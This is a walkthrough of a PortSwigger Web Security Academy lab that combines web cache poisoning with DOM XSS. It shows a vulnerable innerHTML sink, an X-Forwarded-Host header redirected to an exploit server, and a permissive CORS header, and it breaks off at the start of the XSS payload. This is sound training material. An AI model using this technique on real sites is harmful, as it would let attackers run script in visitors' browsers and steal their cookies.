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# Cache Poisoning to Exploit an XSS DOM with Strict Cache
Cache Poisoning to Exploit an XSS DOM with Strict Cache notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation contex
### Web Cache Poisoning to Exploit a DOM Vulnerability via a Cache with Strict Cacheability Criteria
#### Objective of the Lab
We must **poison the cache** so that a visitor to the home page executes **`alert(document.cookie)`** via a **DOM vulnerability**.
#### Observations
* The page displays country-based delivery information (e.g. United Kingdom ).
* We identify a **`geolocate.js`** script that builds DOM from a JSON.
#### Client-side Logic Analysis
In **`geolocate.js`** we see a function of the type:
* She makes a `fetch(jsonUrl)`
* Then it retrieves `j.country`
* And she does: **`div.innerHTML = 'Free shipping to ' + j.country;`**
```javascript
function initGeoLocate(jsonUrl)
{
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
let geoLocateContent = document.getElementById('shipping-info');
let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img)
let div = document.createElement("div");
div.innerHTML = 'Free shipping to ' + j.country;
geoLocateContent.appendChild(div)
});
}
```
The default loaded JSON is:
**`/resources/json/geolocate.json`**
```json
{
"country": "United Kingdom"
}
```
In the home page, the JSON URL is built as follows:
```javascript
```
#### Useful Injection Point (Cache Poisoning)
We note that if we add a header like:
* `X-Forwarded-Host: test.com`
Then **the value is reflected** in `data.host`, which then impacts the URL passed to `initGeoLocate()`.
#### Accommodation of Our JSON on the Exploit Server
On our **exploit server**, we create a JSON file (simple example):
```json
{
"country": "Andorra"
}
```
Then we send a request to the root with:
* `X-Forwarded-Host: `
```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```
At first, this **does not load** because of a problem **CORS** (no `Access-Control-Allow-Origin`).
We therefore add in the answer to the exploit server:
* `Access-Control-Allow-Origin: *`
```http
Access-Control-Allow-Origin: *
```
After that, the remote JSON is loaded properly.
#### Injection XSS via JSON (DOM XSS)
We then replace the content of the JSON with a payload, for example:
```json
{
"country": "
---
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